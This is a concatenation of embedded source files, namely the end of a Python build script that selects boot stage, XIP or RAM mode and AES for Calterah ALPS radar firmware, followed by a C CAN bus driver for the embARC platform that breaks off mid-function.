fw_cmd = "make clean && make bin "
gen_header_fw_cmd = "python post.py obj_alpsMP_ref_design_v1_sensor/gnu_arcem6/sensor_gnu_arcem6.bin firmware.bin "
gen_header_bt_cmd = "python post.py calterah/baremetal/obj_alpsMP_ref_design_v1_boot/gnu_arcem6/boot_gnu_arcem6.bin boot.bin ram boot"
log = "board = ref_design\r\ntoolchain = gnu\r\n"
if args.stage == "2":
# 2 stage boot
gen_header_bt_cmd = ""
bt_cmd = ""
if args.method.lower() == "xip":
# 2 stage xip
set_boot_stage(fw_cwd, 2)
set_boot_split(fw_cwd, 0)
fw_cmd += "FLASH_XIP=1 LOAD_XIP_TEXT_EN=1 "
gen_header_fw_cmd += "xip"
log += "mode = 2 stage xip "
else:
# 2 stage ram
set_boot_stage(fw_cwd, 2)
set_boot_split(fw_cwd, 0)
gen_header_fw_cmd += "ram"
log += "mode = 2 stage ram "
if args.vendor != None:
# 2 stage xip with vendor
fw_cmd += "FLASH_TYPE=%s " %args.vendor.lower()
else:
# 3 stage boot
bt_cmd += "SYSTEM_BOOT_STAGE=3 "
fw_cmd += "SYSTEM_BOOT_STAGE=3 "
if args.split.lower() == "true":
# 3 stage split xip
set_boot_stage(fw_cwd,3)
set_boot_split(fw_cwd,1)
fw_cmd += "FLASH_XIP=1 LOAD_XIP_TEXT_EN=1 "
bt_cmd += "ELF_2_MULTI_BIN=1 "
gen_header_fw_cmd += "xip"
log += "mode = 3 stage boot split xip "
if args.vendor != None:
# 3 stage split xip with vendor
fw_cmd += "FLASH_TYPE=%s " %args.vendor.lower()
bt_cmd += "FLASH_TYPE=%s " %args.vendor.lower()
else:
# 3 stage non-split
set_boot_stage(fw_cwd,3)
set_boot_split(fw_cwd,0)
if args.method.lower() == "xip":
# 3 stage non-split xip
fw_cmd += "FLASH_XIP=1 LOAD_XIP_TEXT_EN=1 "
gen_header_fw_cmd += "xip"
log += "mode = 3 stage non-split xip "
else:
# 3 stage no-split ram
gen_header_fw_cmd += "ram"
log += "mode = 3 stage non-split ram "
if args.vendor != None:
# 3 stage non-split xip with vendor
fw_cmd += "FLASH_TYPE=%s " %args.vendor.lower()
bt_cmd += "FLASH_TYPE=%s " %args.vendor.lower()
if args.bbacc.lower() == "true":
fw_cmd += "ACC_BB_BOOTUP=2 "
log += "bb_acc "
if args.aes.lower() == "true":
set_aes(fw_cwd, 1)
log += "aes\r\n"
else:
set_aes(fw_cwd, 0)
log += "\r\n"
print(log)
if args.test.lower() == "true":
print("cd \\calterah\\baremetal\\")
print(bt_cmd)
print("cd ..\\..")
print(fw_cmd)
print(gen_header_fw_cmd)
print(gen_header_bt_cmd)
else:
p1 = cmd_subprocess(fw_cwd, fw_cmd)
p2 = cmd_subprocess(bt_cwd, bt_cmd)
p1.wait()
p2.wait()
cmd_subprocess(fw_cwd, gen_header_fw_cmd)
cmd_subprocess(fw_cwd, gen_header_bt_cmd)
if __name__ == "__main__":
parser = argparse.ArgumentParser(add_help=True)
parser.add_argument('-stage', '-s', help = "Specify 2-stage or 3-stage boot [2/3]", default = "2")
parser.add_argument('-method', '-m', help = "Specify method of executing [ram/xip]", default = "ram")
parser.add_argument('-split', '-sp', help = "Split boot or not [true/false]", default = "false")
parser.add_argument('-vendor', '-v', help = "Specify flash vendor for xip [giga/winbond/micron/microchip/mxic/s25fls]")
parser.add_argument('-bbacc', '-ba', help = "Specify baseband acceleration [true/false]", default = "false")
parser.add_argument('-aes', help = "enable firmware aes [true/false]", default = "false")
parser.add_argument('-toolchain', '-tc', help = "Specify toolchain [gnu/mw]", default = "gnu")
parser.add_argument('-cascade', '-c', help = "Specify whether firmware is used for cascade [true/false]", default = "false")
parser.add_argument('-test', help = "Print command", default = "false")
args = parser.parse_args()
main(args)<file_sep>#include "embARC_toolchain.h"
#include "embARC_error.h"
#include "embARC.h"
#include "embARC_debug.h"
#include "arc_exception.h"
#include "can_hal.h"
#include "dev_can.h"
#define CAN_REF_CLOCK_DEFAULT (40000000)
#define CAN_DFS_2_FRAMESIZE(dfs) \
( ((dfs) < 5) ? ((dfs) + 4) : ((((dfs) - 5) << 2) + 10) )
#define CAN_DATASIZE_2_DFS(data_size) \
( ((data_size) < 32) ? ((data_size >> 2) - 2) : (((((data_size) >> 2) - 8) >> 2) + 5) )
#define CAN_FRAM_BUF_ELEMENT_NUM (CAN_FRAM_BUF_DATA_SIZE/4+2)
// Possible Data Field Length of Frame: 8, 12, 16, 20, 24, 32, 48, 64. In Bytes.
#if CAN_FRAM_BUF_DATA_SIZE == 8
#define CAN_FRAM_MAX_BUF_NUM (64)
#elif CAN_FRAM_BUF_DATA_SIZE == 12
#define CAN_FRAM_MAX_BUF_NUM (48)
#elif CAN_FRAM_BUF_DATA_SIZE == 16
#define CAN_FRAM_MAX_BUF_NUM (40)
#elif CAN_FRAM_BUF_DATA_SIZE == 20
#define CAN_FRAM_MAX_BUF_NUM (32)
#elif CAN_FRAM_BUF_DATA_SIZE == 24
#define CAN_FRAM_MAX_BUF_NUM (32)
#elif CAN_FRAM_BUF_DATA_SIZE == 32
#define CAN_FRAM_MAX_BUF_NUM (24)
#elif CAN_FRAM_BUF_DATA_SIZE == 48
#define CAN_FRAM_MAX_BUF_NUM (16)
#elif CAN_FRAM_BUF_DATA_SIZE == 64
#define CAN_FRAM_MAX_BUF_NUM (14)
#else
#error "Incorrect Frame Size!"
#endif
#define CAN_MAX_TX_BUF_ID (0)
#define CAN_MAX_RX_BUF_ID (CAN_FRAM_MAX_BUF_NUM - 1)
/* the number of ID filter elements */
#define CAN_ID_FILTER_ELEMENT_NUM 1
#ifdef OS_FREERTOS
#include "FreeRTOS.h"
#include "task.h"
#define CAN_LOCK(lock) \
while (xSemaphoreTake(lock, portMAX_DELAY) != pdTRUE) { \
taskYIELD(); \
}
#define CAN_UNLOCK(lock) xSemaphoreGive(lock)
static xSemaphoreHandle can_sema[2] = {NULL, NULL};
#else
#define CAN_LOCK(lock)
#define CAN_UNLOCK(lock)
#endif
typedef enum{
eCAN_INT_TYPE_RX = 0,
eCAN_INT_TYPE_TX = 1,
eCAN_INT_TYPE_ERROR = 3
} eCAN_INT_TYPE;
typedef enum{
eCAN_INT_DISABLE = 0,
eCAN_INT_ENABLE = 1
} eCAN_INT_OP;
typedef enum{
eCAN_BUFFER_MODE = 0,
eCAN_FIFO_MODE = 1
} eCAN_OPRATION_MODE;
#ifndef CHIP_ALPS_A
typedef struct can_xfer_descriptor {
/* @mode: 0->buffer mode, 1->fifo mode. */
uint8_t mode;
/* @xfer_mode: 0->polling, 1->int, 2->dma, 3->task agency. */
uint8_t data_rx_mode;
uint8_t data_tx_mode;
void *tx_buf;
uint32_t tx_len;
uint32_t tx_ofs;
void *rx_buf;
uint32_t rx_len;
uint32_t rx_ofs;
/* 000 - 8Bytes, 001 - 12Bytes, 010 - 16Bytes, 011 - 20Bytes,
* 100 - 24Bytes, 101 - 32Bytes, 110 - 48Bytes, 111 - 64Byte.
*/
uint8_t rx_dfs;
uint8_t tx_dfs;
uint8_t rx_last_id;
uint8_t tx_last_id;
#ifdef OS_FREERTOS
QueueHandle_t tx_queue;
QueueHandle_t rx_queue;
#endif
can_frame_params_t *frame_params;
rx_indication_callback rx_indication;
void (*xfer_callback)(void *);
} can_xfer_t;
#ifdef OS_FREERTOS
/* Task Communication */
extern QueueHandle_t queue_can_isr;
#endif
static can_t *dev_can[2] = { NULL, NULL};
static can_xfer_t can_buf[2] = {
{
/* buffer mode. */
#ifdef OS_FREERTOS
.tx_queue = NULL,
.rx_queue = NULL,
#endif
.mode = eCAN_BUFFER_MODE,
.data_rx_mode = 1,
#if (CAN_TX_INT_MODE == 1)
.data_tx_mode = DEV_XFER_INTERRUPT,
#else
.data_tx_mode = DEV_XFER_POLLING,
#endif
.rx_dfs = CAN_DATASIZE_2_DFS(CAN_FRAM_BUF_DATA_SIZE),
.tx_dfs = CAN_DATASIZE_2_DFS(CAN_FRAM_BUF_DATA_SIZE)
},
{
/* buffer mode. */
#ifdef OS_FREERTOS
.tx_queue = NULL,
.rx_queue = NULL,
#endif
.mode = eCAN_BUFFER_MODE,
.rx_dfs = 0,
.tx_dfs = 0
}
};
/* the configuration of the id filter */
static can_id_filter_param_t id_filter_cfg = {
.frame_format = eSTANDARD_FRAME,
.reject_no_match = true,
.reject_remote = eEXTENDED_FRAME,
.filter_size = CAN_ID_FILTER_ELEMENT_NUM,
.mask = 0x1FFFFFFF
};
/* the rule configuration of the id filter element */
static can_id_filter_element_t id_filter_element_cfg[CAN_ID_FILTER_ELEMENT_NUM] = {
{
/* element 0 */
.frame_format = eSTANDARD_FRAME,
.filter_type = eDUAL_ID,
.filter_cfg = eRX_BUF,
.filter_id0 = 0x111,
.filter_id1 = 0x200
}
};
can_protocol_cfg_t protocol_cfg = {
#if (USE_CAN_FD == 1)
.fd_operation = 1,
.bit_rate_switch = 1,
.tx_delay_compensate = 0,
#endif
.auto_retransmission = 1,
};
static can_frame_params_t frame_params[2];
static inline int32_t _can_interrupt_enable(can_t *can_ptr, uint32_t type, uint32_t enable, uint32_t mode);
static int32_t can_int_install(uint32_t id);
static int32_t can_install_data_buffer(uint32_t id, uint32_t *buf, uint32_t len, uint32_t rx_or_tx);
static void can_reset_data_buffer(can_xfer_t *buf);
static inline clock_source_t can_clock_source(uint32_t id)
{
if (id > 0) {
return CAN1_CLOCK;
} else {
return CAN0_CLOCK;
}
}
/*
* Default: standard frame, buffer mode with len 8bytes.
* */
int32_t can_init(uint32_t id, uint32_t nomi_baud, uint32_t data_baud)
{
int32_t result = E_OK;
can_ops_t *can_ops = NULL;
can_baud_t *baud_param = NULL;
uint32_t index = 0;
if ((id >= 2) || (0 == nomi_baud)) {
result = E_PAR;
} else {
dev_can[id] = can_get_dev(id);
if (NULL == dev_can[id]) {
result = E_NOEXS;
} else {
can_ops = (can_ops_t *)dev_can[id]->ops;
if (NULL == can_ops) {
result = E_NOOPS;
} else {
/* As long as the firmware starts to run, the CAN controller may encounter an uncertain state.
* So need to do a software reset before initializing CAN controller.
* */
result = can_ops->reset(dev_can[id], 1);
if (result != E_OK) {
EMBARC_PRINTF("CAN rest failed!\r\n");
}
if (0 == id) {
can0_enable(1);
} else {
can1_enable(1);
}
/* Enable the automatic retransmission */
/* The maximum value of the retransferring times is 16 */
protocol_cfg.auto_retransmission = 1;
can_ops->protocol_config(dev_can[id], &protocol_cfg);
/* Configurate ID Filter Control Register */
can_ops->id_filter_config(dev_can[id], &id_filter_cfg);
/* Setting the configuraton of ID filter element */
for (index = 0; (E_OK == result) && (index < CAN_ID_FILTER_ELEMENT_NUM); index++) {
result = can_ops->id_filter_element(dev_can[id], index, &id_filter_element_cfg[index]);
}
clock_source_t clk_src = can_clock_source(id);
baud_param = can_get_baud(clock_frequency(clk_src), nomi_baud);
if (NULL == baud_param) {
result = E_NOEXS;
} else {
result = can_ops->baud(dev_can[id], 0, baud_param);
}
#if (USE_CAN_FD == 1)
/* Initial CAN fd*/
can_ops->protocol_config(dev_can[id], &protocol_cfg);
baud_param = can_get_baud(clock_frequency(clk_src), data_baud);
if (NULL == baud_param) {
result = E_NOEXS;
} else {
/* Setting the baud rate parameters of DATA bit */
result = can_ops->baud(dev_can[id], 1, baud_param);
}
#endif
if (E_OK == result) {
result = can_int_install(id);
}
}
}
}
if (E_OK == result) {
result = can_ops->data_field_size(dev_can[id], 0, \
can_buf[id].rx_dfs, can_buf[id].rx_dfs);
if (E_OK == result) {
result = can_ops->data_field_size(dev_can[id], 1, \
can_buf[id].tx_dfs, can_buf[id].tx_dfs);
}
}
#ifdef OS_FREERTOS
if ((E_OK == result)) {
if (DEV_XFER_INTERRUPT <= can_buf[id].data_tx_mode) {
if (can_buf[id].tx_queue == NULL) {
can_buf[id].tx_queue = xQueueCreate(5, 12);
if (NULL == can_buf[id].tx_queue) {
result = E_SYS;
}
}
}
}
if ((E_OK == result)) {
if (DEV_XFER_INTERRUPT <= can_buf[id].data_rx_mode) {
if (can_buf[id].rx_queue == NULL) {
can_buf[id].rx_queue = xQueueCreate(5, 12);
if (NULL == can_buf[id].rx_queue) {
result = E_SYS;
}
}
}
}
if (E_OK == result) {
if(can_sema[id] == NULL)
{
can_sema[id] = xSemaphoreCreateBinary();
}
xSemaphoreGive(can_sema[id]);
}
#else
/* TODO: if need, add self-define queue scheme. */
#endif
return result;
}
/* mainly ID filter! */
int32_t can_config(uint32_t id, void *param)
{
int32_t result = E_OK;
CAN_LOCK(can_sema[id]);
result = E_SYS;
CAN_UNLOCK(can_sema[id]);
return result;
}
int32_t can_indication_register(uint32_t dev_id, rx_indication_callback func)
{
int32_t result = E_OK;
if ((dev_id >= 2) || (NULL == func)) {
result = E_PAR;
} else {
uint32_t cpu_status = arc_lock_save();
can_buf[dev_id].rx_indication = func;
arc_unlock_restore(cpu_status);
}
return result;
}
#ifdef OS_FREERTOS
int32_t can_queue_install(uint32_t id, QueueHandle_t queue, uint32_t rx_or_tx)
{
int32_t result = E_OK;
if ((id >= 2) || (NULL == queue)) {
result = E_PAR;
} else {
if (rx_or_tx) {
can_buf[id].tx_queue = queue;
} else {
can_buf[id].rx_queue = queue;
}
}
return result;
}
#endif
void *can_xfer_buffer(uint32_t id, uint32_t rx_or_tx)
{
void *buf = NULL;
if (id < 2) {
if (rx_or_tx) {
buf = (void *)((uint32_t)&can_buf[id].tx_buf);
} else {
buf = (void *)((uint32_t)&can_buf[id].rx_buf);
}
}
return buf;
}
int32_t can_read(uint32_t id, uint32_t *buf, uint32_t len)
{
int32_t result = E_OK;
uint32_t cpu_sts = 0;
uint32_t frame_size = 0;
dev_xfer_mode_t xfer_mode = DEV_XFER_POLLING;
can_ops_t *can_ops = (can_ops_t *)dev_can[id]->ops;
CAN_LOCK(can_sema[id]);
if ((id >= 2) || (NULL == dev_can[id]) || (NULL == can_ops) || \
(NULL == buf) || (0 == len)) {
result = E_PAR;
} else {
frame_size = CAN_DFS_2_FRAMESIZE(can_buf[id].rx_dfs);
if (len % frame_size) {
result = E_PAR;
} else {
xfer_mode = can_buf[id].data_rx_mode;
}
}
if (E_OK == result) {
uint32_t buf_id = can_buf[id].rx_last_id;
switch (xfer_mode) {
case DEV_XFER_POLLING:
while (len) {
result = can_ops->read_frame_blocked(dev_can[id], \
buf_id, buf, frame_size);
if (E_OK != result) {
break;
} else {
buf_id += 1;
if (buf_id > 63) {
buf_id = 0;
}
buf += frame_size;
len -= frame_size << 2;
}
}
can_buf[id].rx_last_id = buf_id;
break;
case DEV_XFER_INTERRUPT:
cpu_sts = arc_lock_save();
if (can_buf[id].rx_len > can_buf[id].rx_ofs) {
#ifdef OS_FREERTOS
//result = io_queue_send(can_buf[id].rx_queue, (void *)buf, len, 0);
#else
/* TODO: if need, add self-define queue scheme here! */
#endif
} else {
can_buf[id].rx_buf = buf;
can_buf[id].rx_len = len;
can_buf[id].rx_ofs = 0;
/* re-enable rx interrupt. */
result = _can_interrupt_enable(dev_can[id], eCAN_INT_TYPE_RX, eCAN_INT_ENABLE, can_buf[id].mode);
}
arc_unlock_restore(cpu_sts);
break;
case DEV_XFER_DMA:
/* TODO: don't support in current platform! */
break;
case DEV_XFER_TASK_AGENCY:
/* nothing to do, taks agency will push data. */
break;
default:
result = E_SYS;
}
}
CAN_UNLOCK(can_sema[id]);
return result;
}
int32_t can_frame_read(uint32_t dev_id, uint32_t *msg_id, uint32_t **data)
{
int32_t result = E_OK;
if ((dev_id >= 2) || (NULL == msg_id) || (NULL == data)) {
result = E_PAR;
} else {
#ifdef OS_FREERTOS
DEV_BUFFER message;
if(pdTRUE != xQueueReceive(can_buf[dev_id].rx_queue,\
(void *)&message, 0)) {
result = E_SYS;
} else {
result = message.len;
*data = (uint32_t *)message.buf;
*msg_id = message.ofs;
}
#endif
}
return result;
}
int32_t can_frame_params_setup(uint32_t id, can_frame_params_t *params)
{
int32_t result = E_OK;
uint32_t cpu_sts = arc_lock_save();
if ((id >= 2) || (NULL == params)) {
result = E_PAR;
} else {
frame_params[id].msg_id = params->msg_id;
frame_params[id].eframe_format = params->eframe_format;
frame_params[id].eframe_type = params->eframe_type;
frame_params[id].len = params->len;
can_buf[id].frame_params = &frame_params[id];
}
arc_unlock_restore(cpu_sts);
return result;
}
void can_send_data(uint32_t bus_id, uint32_t frame_id, uint32_t *data, uint32_t len)
{
int32_t result = E_OK;
uint32_t cnt = 0;
if ((NULL == data)) {
return;
}
if (len > eDATA_LEN_8) {
if (len % CAN_FRAM_BUF_DATA_SIZE) {
/* The parameter len must be an integer multiple of CAN_FRAM_BUF_DATA_SIZE.*/
EMBARC_PRINTF("[%s] length is incorrect!\r\n", __func__);
return;
}
}
can_frame_params_t params = {
.msg_id = frame_id, \
.eframe_format = eSTANDARD_FRAME, \
.eframe_type = eDATA_FRAME, \
.len = CAN_FRAM_BUF_DATA_SIZE
};
/* save frame params to global varible */
can_frame_params_setup(bus_id, ¶ms);
eCAN_FRAME_FORMAT frame_format = params.eframe_format;
for (cnt = 0; cnt < 20; cnt++) {
result = can_write(bus_id, data, len, frame_format);
if (E_DBUSY == result) {
chip_hw_udelay(100);
} else if (E_OK == result) {
break;
} else {
EMBARC_PRINTF("can_write error, result: 0x%x!\r\n", result);
}
}
if (result == E_DBUSY) {
/* E_DBUSY will cause CAN TX FIFO overflow,
* so call "can_init" function to re-initialize CAN device to free Tx FIFO.
* */
#if (USE_CAN_FD == 1)
can_init(bus_id, CAN_BAUDRATE_500KBPS, CAN_BAUDRATE_1MBPS);
#else
can_init(bus_id, CAN_BAUDRATE_500KBPS, 0);
#endif
/* Enable the RX interrupt */
can_interrupt_enable(bus_id, 0, 1);
/* Enable the error interrupt */
can_interrupt_enable(bus_id, 3, 1);
#if (CAN_TX_INT_MODE == 1)
/* Enable the TX interrupt */
can_interrupt_enable(bus_id, 1, 1);
#endif
EMBARC_PRINTF("can_send_data reset: %d!\r\n", result);
}
}
static int32_t can_send_frame(can_t *dev_can, can_ops_t *dev_ops, can_xfer_t *xfer)
{
int32_t result = E_OK;
uint32_t header0 = 0, header1 = 0;
uint32_t idx, tx_cnt = 0, remain_size = 0;
uint32_t *data_ptr = NULL;
uint32_t frame_buf[CAN_FRAM_BUF_ELEMENT_NUM];
int32_t dlc = 0; /* dlc: data length code */
int32_t dfw_cnt = 0; /* dfw: data fileld by word */
can_ops_t *can_ops = NULL;
can_ops = (can_ops_t *)dev_can->ops;
if (xfer->frame_params) {
header0 = xfer->frame_params->msg_id & 0x1FFFFFFF;
if (eSTANDARD_FRAME == xfer->frame_params->eframe_format) {
/* standard frame. */
header0 = (xfer->frame_params->msg_id << 18);
} else {
/* extended frame. */
header0 |= (1 << 30);
}
if (eREMOTE_FRAME == xfer->frame_params->eframe_type) {
/* remote frame. */
header0 |= (1 << 29);
}
/* send actual bytes number when tx length is less than 8 bytes */
if (xfer->tx_len < eDATA_LEN_8) {
xfer->frame_params->len = xfer->tx_len;
}
dlc = can_get_dlc(xfer->frame_params->len);
if (dlc < 0) {
EMBARC_PRINTF("can_send_frame length error!\r\n");
return E_PAR;
}
header1 |= (((dlc & 0xF) << 16) | (protocol_cfg.bit_rate_switch << 20) | \
(protocol_cfg.fd_operation << 21));
/* Fill frame_buf data with header0 and header1 */
frame_buf[0] = header0;
frame_buf[1] = header1;
/* send one frame at a time */
/* tx_len is the total length that need to be transferred */
/* tx_ofs is the offset number to indicate the length that already transferred */
/* remain_size is the reamining length that still need to be transferred */
remain_size = xfer->tx_len - xfer->tx_ofs;
do {
if (eDATA_FRAME == xfer->frame_params->eframe_type) {
if (remain_size > xfer->frame_params->len) {
tx_cnt = xfer->frame_params->len;
} else {
tx_cnt = remain_size;
}
data_ptr = (uint32_t *)xfer->tx_buf;
/* Change the unit length of tx_ofs from uint32_t to uint_8 by ">>2" */
/* data_ptr should be incremented by BYTE unit */
data_ptr += (xfer->tx_ofs >> 2);
/* Fill frame_buf data after header0 and header1 */
/* idx start from 2 because frame_buf[0] and frame_buf[1] are header0 and header1 */
/* Change the unit length of tx_cnt from uint32_t to uint_8 by ">>2" */
/* idx should be incremented by BYTE unit */
if (tx_cnt < eDATA_LEN_8) {
dfw_cnt = 2;
} else {
dfw_cnt = (tx_cnt >> 2);
}
for (idx = 2; idx < (dfw_cnt + 2); idx++) {
frame_buf[idx] = *data_ptr++;
}
}
uint32_t buf_id = xfer->tx_last_id;
uint32_t cpu_status = arc_lock_save();
result = can_ops->write_frame(dev_can, buf_id, frame_buf, CAN_FRAM_BUF_ELEMENT_NUM);
if (E_OK == result) {
/* Increment tx_ofs with tx_cnt */
xfer->tx_ofs += tx_cnt;
buf_id += 1;
if (buf_id > CAN_MAX_TX_BUF_ID) {
buf_id = 0;
}
xfer->tx_last_id = buf_id;
}
arc_unlock_restore(cpu_status);
if (E_OK != result) {
break;
}
#if (CAN_TX_INT_MODE == 1)
/* For Int mode, only need to send the first frame to trigger can tx interrupt */
/* The remaining data send will be implement in can Tx interrupt handler : _can_tx_handler */
break;
#endif
/* For Polling mode, data send will be implemented frame by frame until all the data have been sent : remain_size == 0 */
remain_size = xfer->tx_len - xfer->tx_ofs;
}while(remain_size);
}
return result;
}
int32_t can_write(uint32_t id, uint32_t *buf, uint32_t len, uint32_t flag)
{
int32_t result = E_OK;
dev_xfer_mode_t xfer_mode = can_buf[id].data_tx_mode;
can_ops_t *can_ops = NULL;
can_ops = (can_ops_t *)dev_can[id]->ops;
if ((id >= 2) || (NULL == dev_can[id]) || (NULL == can_ops) || \
(NULL == buf) || (0 == len)) {
result = E_PAR;
}
/* CAN_LOCK here to avoid multi-task access identical can port */
CAN_LOCK(can_sema[id]);
if (E_OK == result) {
switch (xfer_mode) {
case DEV_XFER_POLLING:
result = can_install_data_buffer(id, buf, len, 1);
result = can_send_frame(dev_can[id], can_ops, &can_buf[id]);
if (E_OK != result) {
// EMBARC_PRINTF("CAN Polling Mode Transfer failed!\r\n");
}
break;
case DEV_XFER_INTERRUPT:
if (can_buf[id].tx_len > can_buf[id].tx_ofs) {
/* The previous data send has NOT finished */
/* Theoretically, by the increment of "tx_ofs", finally, "tx_ofs" should equle to "tx_len"
which means the previous data send is finished, then a new round of data send can be started */
EMBARC_PRINTF("CAN Int Mode Bus Busy!\r\n");
result = E_DBUSY;
} else {
result = can_install_data_buffer(id, buf, len, 1);
/* Enable CAN Tx Int */
result = _can_interrupt_enable(dev_can[id], eCAN_INT_TYPE_TX, eCAN_INT_ENABLE, can_buf[id].mode);
result = can_send_frame(dev_can[id], can_ops, &can_buf[id]);
if (E_DBUSY == result) {
/* the sending status of the first frame is busy, need to disable interrupt */
EMBARC_PRINTF("CAN Int Mode first frame Data Send Busy!\r\n");
_can_interrupt_enable(dev_can[id], eCAN_INT_TYPE_TX, eCAN_INT_DISABLE, can_buf[id].mode);
can_reset_data_buffer(&can_buf[id]);
}
}
break;
case DEV_XFER_DMA:
/* NOT support in current platform! */
result = E_SYS;
break;
case DEV_XFER_TASK_AGENCY:
/* TODO: if need, add self-define queue scheme at here. */
break;
default:
result = E_SYS;
}
}
CAN_UNLOCK(can_sema[id]);
return result;
}
/* This function will be called only once at the beginning of the CAN data send */
static int32_t can_install_data_buffer(uint32_t id, uint32_t *buf, uint32_t len, uint32_t rx_or_tx)
{
int32_t result = E_OK;
if ((id >= 2) || (NULL == dev_can[id]) || (NULL == buf) || (0 == len)) {
result = E_PAR;
}
/* lock cou here since can_buf is a global parameter */
uint32_t cpu_status = arc_lock_save();
if (rx_or_tx) {
/* CAN TX Data Install */
can_buf[id].tx_buf = buf;
can_buf[id].tx_len = len;
can_buf[id].tx_ofs = 0;
} else {
/* CAN RX Data Install */
can_buf[id].rx_buf = buf;
can_buf[id].rx_len = len;
can_buf[id].rx_ofs = 0;
}
arc_unlock_restore(cpu_status);
return result;
}
static void can_reset_data_buffer(can_xfer_t *buf)
{
/* lock cou here since can_buf is a global parameter */
uint32_t cpu_status = arc_lock_save();
buf->tx_buf = NULL;
buf->tx_len = 0;
buf->tx_ofs = 0;
arc_unlock_restore(cpu_status);
}
int32_t can_interrupt_enable(uint32_t id, uint32_t type, uint32_t enable)
{
int32_t result = E_OK;
CAN_LOCK(can_sema[id]);
if ((id >= 2) || (NULL == dev_can[id])) {
result = E_PAR;
} else {
result = _can_interrupt_enable(dev_can[id], type, enable, can_buf[id].mode);
}
CAN_UNLOCK(can_sema[id]);
return result;
}
static inline int32_t _can_interrupt_enable(can_t *can_ptr, uint32_t type, uint32_t enable, uint32_t mode)
{
int32_t result = E_OK;
uint32_t int_bitmap = 0;
can_ops_t *can_ops = (can_ops_t *)can_ptr->ops;
if ((NULL == can_ptr) || (NULL == can_ops)) {
result = E_PAR;
} else {
if (eCAN_BUFFER_MODE == mode) {
/* Buffer Mode */
if (type == eCAN_INT_TYPE_TX) {
int_bitmap = CAN_INT_TX_COMPLISHED;
} else if (type == eCAN_INT_TYPE_ERROR){
int_bitmap = CAN_INT_ERR_PASSIVE | CAN_INT_BUS_OFF | CAN_INT_PROTOCOL_ERR;
can_ptr->int_line_bitmap[3] = int_bitmap;
} else {
int_bitmap = CAN_INT_RX_NEW_MESSAGE;
}
} else {
/* FIFO Mode */
if (type == eCAN_INT_TYPE_RX) {
int_bitmap = CAN_INT_RX_FIFO_FILLED;
} else {
int_bitmap = CAN_INT_TX_FIFO_READY;
}
}
result = can_ops->int_enable(can_ptr, enable, int_bitmap);
}
return result;
}
/* Note: called during boot. */
int32_t can_xfer_callback_install(uint32_t id, void (*func)(void *))
{
int32_t result = E_OK;
CAN_LOCK(can_sema[id]);
if ((id >= 2) || (NULL == dev_can[id]) || (NULL == func)) {
result = E_PAR;
} else {
can_buf[id].xfer_callback = func;
}
CAN_UNLOCK(can_sema[id]);
return result;
}
static inline int32_t can_get_dlc(uint32_t len)
{
int32_t dlc = 0;
#if (USE_CAN_FD == 0)
if (len > 8) {
#if (CAN_TX_INT_MODE == 1)
len = 8;
#else
return E_PAR;
#endif
}
#else
if (len > 64)
return E_PAR;
#endif
if ((len > 8) && (len <= 12))
len = eDATA_LEN_12;
else if ((len > 12) && (len <= 16))
len = eDATA_LEN_16;
else if ((len > 16) && (len <= 20))
len = eDATA_LEN_20;
else if ((len > 20) && (len <= 24))
len = eDATA_LEN_24;
else if ((len > 24) && (len <= 32))
len = eDATA_LEN_32;
else if ((len > 32) && (len <= 48))
len = eDATA_LEN_48;
else if ((len > 48) && (len <= 64))
len = eDATA_LEN_64;
switch (len) {
case eDATA_LEN_64:
case eDATA_LEN_48:
case eDATA_LEN_32:
dlc = 11 + (len >> 4);
break;
case eDATA_LEN_24:
case eDATA_LEN_20:
case eDATA_LEN_16:
case eDATA_LEN_12:
dlc = 6 + (len >> 2);
break;
default:
dlc = len;
}
return dlc;
}
static inline uint32_t can_get_datalen(uint32_t dlc)
{
uint32_t len = 0;
#if (USE_CAN_FD == 0)
if (dlc > 8)
dlc = 8;
#else
if (dlc > 15)
dlc = 15;
#endif
switch (dlc) {
case eDATA_DLC_15:
case eDATA_DLC_14:
case eDATA_DLC_13:
len = (dlc - 11) << 4;
break;
case eDATA_DLC_12:
case eDATA_DLC_11:
case eDATA_DLC_10:
case eDATA_DLC_9:
len = (dlc - 6) << 2;
break;
default:
len = dlc;
}
return len;
}
int32_t can_receive_data(uint32_t dev_id, can_data_message_t *msg)
{
int32_t result = E_OK;
uint32_t buf_id = 0, dlc = 0, len = 0;
can_ops_t *can_ops = (can_ops_t *)dev_can[dev_id]->ops;
uint32_t frame_size = CAN_DFS_2_FRAMESIZE(can_buf[dev_id].rx_dfs);
uint32_t rx_buf[18];
can_frame_params_t *params = msg->frame_params;
if ((dev_id >= 2) || (NULL == dev_can[dev_id]) || (NULL == can_ops)) {
result = E_PAR;
}
if (can_buf[dev_id].rx_last_id > CAN_MAX_RX_BUF_ID) {
can_buf[dev_id].rx_last_id = 0;
}
buf_id = can_buf[dev_id].rx_last_id;
result = can_ops->read_frame(dev_can[dev_id], buf_id, rx_buf, frame_size);
if (E_OK == result) {
params->msg_id = rx_buf[0] & 0x1FFFFFFF;
params->eframe_format = (rx_buf[0] & (1 << 30)) ? (1) : (0);
dlc = (rx_buf[1] >> 16) & 0xF;
len = can_get_datalen(dlc);
if (len > 0) {
params->len = len;
if (params->eframe_format == eEXTENDED_FRAME) {
params->msg_id = rx_buf[0] & 0x1FFFFFFF;
} else {
params->msg_id = (rx_buf[0] & 0x1FFFFFFF) >> 18;
}
transfer_bytes_stream(&rx_buf[2], msg->data, params->len);
can_buf[dev_id].rx_last_id += 1;
}
}
return result;
}
static int32_t _can_rx_buffer_full(can_t *can_ptr, can_xfer_t *buf)
{
int32_t result = E_OK;
if ((can_ptr) && (buf)) {
buf->rx_buf = NULL;
buf->rx_len = 0;
buf->rx_ofs = 0;
result = _can_interrupt_enable(can_ptr, eCAN_INT_TYPE_RX, eCAN_INT_DISABLE, buf->mode);
if (E_OK == result) {
if (buf->xfer_callback) {
buf->xfer_callback(NULL);
} else {
result = E_SYS;
}
}
} else {
result = E_PAR;
}
return result;
}
static int32_t _can_adjust_buf_id(can_t *can_ptr, can_ops_t *can_ops, uint32_t buf_id)
{
uint32_t start_id = buf_id;
while (0 == can_ops->rx_buf_status(can_ptr, buf_id)) {
buf_id ++;
if (buf_id > CAN_MAX_RX_BUF_ID) {
buf_id = 0;
}
if (start_id == buf_id) {
break;
}
}
return buf_id;
}
static int32_t _can_frame_read(can_t *can_ptr, can_ops_t *can_ops, can_xfer_t *buf)
{
int32_t result = E_OK;
uint32_t i;
uint32_t buf_id = 0, len = 0;
uint32_t frame_size = CAN_DFS_2_FRAMESIZE(buf->rx_dfs);
uint32_t rx_buf[18];
/* Adjust FW RX buffer id. */
